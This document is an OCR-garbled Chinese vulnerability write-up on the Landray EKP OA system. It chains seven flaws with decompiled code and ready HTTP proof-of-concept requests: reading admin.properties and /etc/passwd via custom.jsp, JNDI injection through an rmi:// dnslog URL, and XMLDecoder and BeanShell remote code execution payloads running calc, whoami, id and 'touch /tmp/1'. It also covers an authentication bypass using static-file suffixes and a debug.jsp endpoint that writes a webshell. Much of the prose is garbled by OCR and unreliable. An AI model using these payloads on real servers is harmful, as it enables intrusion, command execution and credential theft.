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1. custom.jsp3{FiEEY

[sys/ui/extend/varkind/custom.jsp

<%

JSONObject vara
JSONObject body
if(body.containsKey("file")){

JSONObject.fromObject(request.getParameter('"var"));
JSONObject.fromObject(vara.get("body"));

%>
<c:import url='<%=body.getString("file") %>' charEncoding="UTF-8">
<c:param name="var" value="${ param['var'] }"></c:param>

</c:iimport>

B AE R MvartEZ i Ejson, jsonfbodyEH=Efile, SAFS|Bfile, EL~4ET—1
EREXHIEEY,
=V~ expE AXRIZE admin.dofY Z3 AR,

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: test.com

Content-Type: application/x-www—form—-urlencoded
Content-Length: 60

var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}

jspHEc:importirZflc:paraminE 2 AR B S A RR, HESIARERIRFEN,
(fk#ijstl.jar/standard.jar)


javascript:void(0);

<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%>
<c:import url="http://java.sun.com" >
<c:param name="test" value="1234" />

</c:import>

X1¥ 3R EAE HF 5| Ahttp://java.sun.com?test=1234, A2ITRIB, & —1SSRF,
NRA{EFH/WEB-INF/web.xml, MiE5IEAMX & (jspF=ER), TTEA. [LERE X,
E 1t R BE A RIZEIZIN B B B X4 E B & Hithjsp(Servietth /] X, FrBAX B H#atIR
HEBSSRF),
S8, Ea] LAAfile:///etc/passwd Ak B %, BRFLEARES. FIABRIEAEE
FAtE33 B8 12 1% B admin.properties, FLATIENAEITEREZ.

T?;c:sdy' ["file":"file: /7 home/skp/ akp WEB= INF /KmssConf i g/ admin

RO (ot T L
properties”]] 19 password = |mem-l’ -’-UJ'.".-‘.';-[“’.T'!J'J—:‘-,r
kmss. properties. encrmt enabled = true

AP A B & Hfthjspal & Servlet, #H’I‘RBE}I%UZW_JSDEPWEEEEE%EE T Be, AR
ETEMAAAN, ESPBEFENRjspHITHRN, BIEEMERNREE,

2. admin.do jndi/jdbc

B RE13RE TadmingYZ&4H, WA MEAN—TEE A TTE

/admin.do
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it @uoec CumDI
FEm T 50 v
[l 3 a5 el je=trugdcharacterEncoding=UTF-3
RS RL
= ERSTREIERL: dblandraycom.cn, BEUGEREERL]: 3304, EEEES: ekp
BHea
] sEssBsRERERERERRR RN
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POST /admin.do HTTP/1.1

Host: test.com



Content-Type: application/x-www—-form-urlencoded
Cookie: JSESSIONID=test
Content-Length: 55

method=testDbConn&datasource=rmi://s72tey.dnslog.cn/exp

ERFXNINEEEREMIIAcookie £, RAtTERAXEE S EMAN,
3. sysSearchMain.do XMLdecodex 51t

[sys/search/sys_search_main/sysSearchMain.do
(Y Clven

kmss_sys_search.jarlcom.landray.kmss.sys.search.actions.SysSearchMainAction

public ActionForward editParam(ActionMapping mapping, ActionForm
form, HttpServletRequest request, HttpServletResponse response)
throws Exception {

TimeCounter.logCurrentTime("Action-editParam", true, getClass());
KmssMessages messages = new KmssMessages();

try {

SysSearchMainForm mainForm = (SysSearchMainForm)form;

if (StringUtil.isNull(mainForm.getFdParemNames()))

return getActionForward("edit", mapping, form, request,
response);

Map<String, Object> searchConditionInfo = new HashMap<>();
List<SearchConditionEntry> entries =
SysSearchDictUtil.getParamConditionEntry(mainForm);
searchConditionInfo.put("entries", entries);
request.setAttribute("searchConditionInfo", searchConditionInfo);
setParametersToSearchConditionInfo(mainForm, searchConditionInfo);
} catch (Exception e) {

messages.addError(e);

b

TimeCounter.logCurrentTime("Action-editParam", false, getClass());
if (messages.hasError()) {
KmssReturnPage.getInstance(request).addMessages(messages)

.addButton(0).save(request);



return getActionForward("failure", mapping, form, request,

response);

by

return getActionForward("editParam", mapping, form, request,

response) ;

}

ActionFormZ#E N E NS, Ft#BimainForm.getFdParemNames() &N T, RE
&8 setParametersToSearchConditioninfo(mainForm, searchConditionlInfo),
IR,

protected void setParametersToSearchConditionInfo(SysSearchMainForm
mainForm, Map<String, Object> searchConditionInfo) throws Exception {
if (StringUtil.isNotNull(mainForm.getFdParameters())) {

Map<String, Map<String, String>> parameters =
ObjectXML.objectXMLDecoderByString(mainForm.getFdParameters())
.get(0);

searchConditionInfo.put("parameters", parameters);

}

b

A] A& ElmainForm.getFdParameters() 22 3d 7 objectXMLDecoderByString () &t 1,
Itk b FEXMLDecoder R Z M, BT UOATZfEbsh, ALFTEEMNITH S .

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: test.com
Content-Type: application/x-www—form-urlencoded

Content-Length: 328

var={"body":{"file":"/sys/search/sys_search_main/sysSearchMain.do?
method=editParam"}}&fdParemNames=11&fdParameters=<java><void
class="bsh.Interpreter"><void method="eval">
<string>Runtime.getRuntime().exec("calc");</string></void></void>

</java>

MmbshAl BEZEIEHEITAREFDUT,



var= B vary: accept-encodinﬂ
{"body": {"file":"/sys/search/sys_search_main/sysSearchMain. do?m 9 Date: Thu, 14 Jul 2022 03:26:39 GMT

ethod=editParam"} ] &fdParemNames=11&fdParameters={java><{void 10 Content-Length: 19096

class="bsh. Interpreter”><void 11 el | 4
method="eva | "><str ing>\u0020\u0020\u0020\u0020\u0062\u006f\ud06 17 Execute:  wid=1000 (ekp) gid=1cL;;ek€i[i?izisﬁiﬁﬁﬁxéﬁﬁd
FA\u006c\u0065\u0061\u006e\u0020%u0066\u006c\u0061 \u0067\u0020N\u 13
003d\u00201u0066\u0061\u006¢\u0073\u0065\u003b\u0054\u0068\ U007 14

¥ ZXMLDecoderk F5ftpayloadB &,

BEaction FrtnEditParamtb fZE —E — 19957,

4. dataxml.jsp FRBHIT

[sys/common/dataxml.jsp

[sys/common/treexml.jsp

[sys/common/treejson.jsp

[sys/common/datajson.jsp

[data/sys-common/dataxml

[data/sys-common/treexml

[data/sys-common/datajson

[sys/common B & TE—RII#HFjsp, MEEMNB/ITEENNNS S, AT HIE,
HEZERjar8 &0 5/REE,

kmss_core.jarlcom.landray.kmss.common.actions.DataController

@RequestMapping(value = {"datajson"}, produces =
{"application/json;charset=UTF-8"})

@ResponseBody

public RestResponse<]JSONArray> datajson(HttpServletRequest request,
HttpServletResponse response) throws Exception {

String s_bean = request.getParameter("s_bean");

JSONArray array = new JSONArray();

JSONArray jsonArray = null;

try {

Assert.notNull(s_bean, "Z#¥s_beanfgER=T! ");

RequestContext requestInfo = new RequestContext(request, true);
String[] beanlList = s_bean.split(";");

List result = null;

for (int i = 0; i < beanlList.length; i++) {

IXMLDataBean treeBean =
(IXMLDataBean)SpringBeanUtil.getBean(beanList[i]);

result = treeBean.getDatalList(requestInfo);



s_beanf®z, AIAADSDEl, AEMRgetBean, mx=ZXEFERIXMLDataBean, JFE
fRequestContext{ﬁﬂﬁﬁﬂégetDataList()o tREiR, NN BAREEXIT
IXMLDataBeani% [0 fJgetDatalList(), BfA¥ZgetDataList RN T,

E}EH service
----- BazeTemplateTrecService. class

..... I¥MIDataBean. class

----- IMLGetDataByvEeyService. class

----- IMLGetDataService. class

----- IMLGetPageService. class

----- IMLGetRadomIdService. elass

----- YMLGetResourceService. class

----- IMLGetTreeService. class

----- IMIPeriodService. class

¥s

4 datainit. service. Spring

----- SyvslatainitMainServicelmp. class

----- SvslatainitProcessServicelmp. class
PR SvslatainitiMlDataPean. class

=+ formula. web

----- SysFormul alli etVarTree. class

----- SysFormul sFuncTree. class

----- SysFormul aFuncTreeSeriptEngine. class
----- SysFormul aS1mulate. class

----- SysFormul a%1mul ateBy]3. class

----- SysFormulaValidate. class

----- SysFormul aValidateBy]3. class

----- SysFormulaValidateBySeriptEng. e SR

HrApSysFormulaValidate Rl i& R bsh{ B #1117,

o o

public List getDatalList(RequestContext requestInfo) throws Exception
{

List<Map<Object, Object>> rtnVal = new ArrayList();

Map<Object, Object> node = new HashMap<>();

String msg = null;

String confirm = null;

try {

String script = requestInfo.getParameter("script");

String type = requestInfo.getParameter("returnType");

String funcs requestInfo.getParameter("funcs");

String model requestInfo.getParameter("model");
FormulaParser parser = FormulaParser.getInstance(requestInfo,
new ValidateVarGetter(null), model);

if (StringUtil.isNotNull(funcs)) {

String[] funcArr = funcs.split(";");

for (int 1 = 0; i < funcArr.length; i++)

parser.addPropertiesFunc(funcArr[i]);



¥

Object value = parser.parseValueScript(script, type);

scripti¥%, IR#parseValueScript()

public Object parseValueScript(String script, String type) throws
EvalException, KmssUnExpectTypeException {

Object value = parseValueScript(script);

if (StringUtil.isNotNull(type))

value = getSysMetadataParser().formatValue(value, type);

return value;

}

Y 4E IR W parseValueScript()

public Object parseValueScript(String script) throws EvalException {
if (StringUtil.isNull(script))

return null;

Interpreter interpreter = new Interpreter();

ClassLoader loader = Thread.currentThread().getContextClassLoader();
try {

if (loader != null)

interpreter.setClassLoader(loader);

StringBuffer importPart = new StringBuffer();
importPart.append("import ").append(
OtherFunction.class.getPackage().getName()).append(

"ok\r\n");

StringBuffer preparePart = new StringBuffer();

StringBuffer leftScript = new StringBuffer();

String rightScript = script.trim();

Map<String, FunctionScript> funcScriptMap = new HashMap<>();

String m_script = String.valueOf(importPart.toString()) +
preparePart.toString() +

leftScript + rightScript;

if (logger.isDebugEnabled())

logger.debug ("#47Ax: " + m_script);

runningData.set(this.contextData);



return interpreter.eval(m_script);

A &I ELshUIBHTT, EILLPOCHAMIEHE.

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: test.com

Content-Type: application/x-www—-form-urlencoded
Content-Length: 143

var={"body":{"file":"/data/sys-
common/datajson"}}&s_bean=sysFormulaValidate&script=Runtime.getRuntim

e().exec("whoami");

M H 61 #% O X3 /data/sys-common/datajson3&fil, FHib—HK L 4bith75 = BIE A
SysFormulaValidate.getDataList()#14Tbshf{#5.,

[sys/common/dataxml.jsp

[sys/common/treexml.jsp

[sys/common/treejson.jsp

[sys/common/datajson.jsp

[data/sys-common/dataxml

[data/sys-common/treexml

[data/sys-common/datajson

BBAEAMIXMLDataBeanFfi ;& @l T 15, F{14k4EE SysFormulaValidateByJS,

public List getDatalList(RequestContext requestInfo) throws Exception
{

List<Map<Object, Object>> rtnVal = new ArrayList();

Map<Object, Object> node = new HashMap<>();

String msg = null;

String confirm = null;

try {

String script = requestInfo.getParameter("script");

String type = requestInfo.getParameter("returnType");

String funcs = requestInfo.getParameter("funcs");



String model = requestInfo.getParameter("model");
FormulaParserByJlS parser =
FormulaParserByJlS.getInstance(requestInfo,

new ValidateVarGetter(null), model);

if (StringUtil.isNotNull(funcs)) {

String[] funcArr = funcs.split(";");

for (int i = 0; i < funcArr.length; i++)
parser.addPropertiesFunc(funcArr[il);

b

Object value = parser.parseValueScript(script, type);

[ IR &AM,

ScriptEngineManager factory = new ScriptEngineManager();

ScriptEngine engine = factory.getEngineByMimeType("text/javascript");

return engine.eval(m_script);

REM T elRAMsink=, POCUIT,

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: test.com

Content-Type: application/x-www—form-urlencoded
Content-Length: 176

var={"body":{"file":"/data/sys-
common/datajson"}}&s_bean=sysFormulaValidateByJS&script=new

java.lang.ProcessBuilder(['(java.lang.String[])']1(['sh"',"'-c', 'touch

/tmp/1']).start();

ZXMsinkm: AL, EZHMjarths, BEA——RIA,

5. dataxmIZ i



EREIN
[data/sys-common/dataxml
[data/sys-common/treexml

[data/sys-common/datajson

FESSHERERKBN, EZAEWT

| —<RestResponse=
<success=false</success=
zdata/=
<msg=Unauthorized </msg>
<code=errorhttpStatus.401 </code=

| </RestResponses :

IBMNESEIBRES, js/png/tmpllla] Eii%E

S EFIRTE

—<=RestResponse:-
<success>false</success>
<data/=
<msg>£#s bean g ! </msg>
<code>errorhttpStatus.500</code >
«</RestResponse:

L BB E

ELEPOCANT,

POST /data/sys—common/dataxml.js HTTP/1.1

Host: test.com

Content-Type: application/x-www—-form-urlencoded
Content-Length: 65

s_bean=sysFormulaValidate&script=Runtime.getRuntime().exec("id");

HFRAZFSHIREResourceCachefFilter, TEMNRR.
WEB-INF/KmssConfig/sys/authentication/spring.xml



| class="org.springframework . security .web. FilterChainProxy™ >

| {constructor-argh
| ¢list value-type="org.springfrasework.security.web.SecurityFilterChain®™>
<l-- WGERE, NS s -3

<sec:filter-chain pattern="/*4/* gif*" filters="resourcelacheFilter" />
<sec:filter-chain patterna™/**/* jpg~ filterse"resourceCachefilter” />
<sac:filter-chain pattern="/**/* png~ filters="resourceCacheFilter” />
<sac:filrer-chain patterna™/*4/% bmp™ filters="resourcelacheFilter" />
| <sac:filter-chain patterna™f*+/* jee™ filters="resourceCachaFilter” />
<gac:filrer-chain patterns"/**/* css"™
filters="resourceCacheFilter,gzipFilter® />
cgec:filrer-chain patterns= frife §g°
filterss"resourceCacheFilter,gzipFilter™ />
<sec:filrer-chain pattern="j#¢/¢ tmpl”
filterss"resourceCacheFilter,gzipFilter™ />
<sec:filter-chain patternz"/*4/* html" filters="gzipFil =" mEpezi04s03
<1-- RestApififittif, BT EFRNNAETHHESESE, e

TIiZOAMuseSuffixPatternMatchFF £ X BIAFF S, SRT BT EMBES T RESH
ARG .

6. erp_data.jspftBBHIT

[tic/core/resource/js/erp_data.jsp
Ffdataxml.jsp—1*, W—AEHNIRESET,

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: test.com

Content-Type: application/x-www—form-urlencoded
Content-Length: 136

var={"body":
{"file":"/tic/core/resource/js/erp_data.jsp"}}&erpServcieName=sysForm

ulaValidate&script=Runtime.getRuntime().exec("whoami");

7. debug.jspfXEBHIT

[sys/common/debug.jsp

<%

String code = request.getParameter("fdCode");

if(code!=null){

code = "<"+"%@ page language=\"java\" contentType=\"text/html;



charset=UTF-8\""+
" pageEncoding=\"UTF-8\"%"+"><" +

% " + code + " %" + ">";
FileOutputStream outputStream = new
FileOutputStream(ConfigLocationsUtil.getWebContentPath()+"/sys/commo
n/code.jsp");

BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(
outputStream, "UTF-8"));

bw.write(code);

bw.close();

[}
>

#, IFEEBNS|sp,

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: test.com

Content-Type: application/x-www—form-urlencoded
Content-Length: 80

var={"body":
{"file":"/sys/common/debug.jsp"}}&fdCode=out.println("Hello world");

fAfEBikl8)code.jsp

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: test.com

Content-Type: application/x-www—-form-urlencoded
Content-Length: 44

var={"body":{"file":"/sys/common/code.jsp"}}
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